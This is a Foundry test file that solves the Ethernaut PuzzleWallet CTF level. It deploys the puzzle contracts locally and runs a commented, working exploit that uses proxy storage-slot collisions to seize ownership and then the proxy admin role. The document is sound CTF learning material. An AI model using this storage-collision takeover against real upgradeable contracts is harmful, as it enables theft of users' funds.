PuzzleWalletExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/PuzzleWallet.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract PuzzleWalletExploit is Test {
  PuzzleProxy proxy;
  PuzzleWallet wallet;
  address deployer = makeAddr('deployer');
  address admin = makeAddr('admin');
  address owner = makeAddr('owner');
  address exploiter = makeAddr('exploiter');

  function setUp() public {
    vm.startPrank(deployer);
    wallet = new PuzzleWallet();
    console.log('Wallet contract deployed');
    vm.stopPrank();

    vm.startPrank(owner);
    wallet.init(10);
    console.log('Wallet owner set');
    vm.stopPrank();

    vm.startPrank(deployer);
    proxy = new PuzzleProxy(admin, address(wallet), '');
    console.log('Proxy contract deployed');
    vm.stopPrank();
  }

  function testExploit() public {
    assertEq(proxy.admin(), admin);

    vm.startPrank(exploiter);
    console.log('Perform the exploit');

    // Update the 1st storage slot of the Proxy contract with the exploiter address.
    proxy.proposeNewAdmin(exploiter);

    // Call the Wallet contract through the proxy, it uses a delegatecall under the hood.
    // It will use the Proxy contract' storage and since the 1st storage slot of the Proxy contract
    // collides with the owner slot of the Puzzle contract, the exploiter is now the owner of the
    // Puzzle contract.

    // The exploiter adds himself to the whitelist.
    (bool success, ) = address(proxy).call(
      abi.encodeWithSignature('addToWhitelist(address)', exploiter)
    );
    require(success, 'Call failed');

    // Now that he's whitelisted, he sets the max balance to its own balance. He resets the max
    // balance to zero to then be able to call the init method to set the max balance to whatever
    // value.
    (success, ) = address(proxy).call(
      abi.encodeWithSignature('setMaxBalance(uint256)', 0)
    );
    require(success, 'Call failed');

    // The exploiter sets the max balance. Since the max balance is stored at the 2nd slot of the
    // Puzzle contract, it collides  with the 2nd slot of the Proxy contract which holds the value
    // of the admin. The exploiter sets the max balance to his address (casted to uint160) to
    // become the new admin.
    (success, ) = address(proxy).call(
      abi.encodeWithSignature('init(uint256)', uint256(uint160(exploiter)))
    );
    require(success, 'Call failed');

    assertEq(proxy.admin(), exploiter);
    vm.stopPrank();
  }
}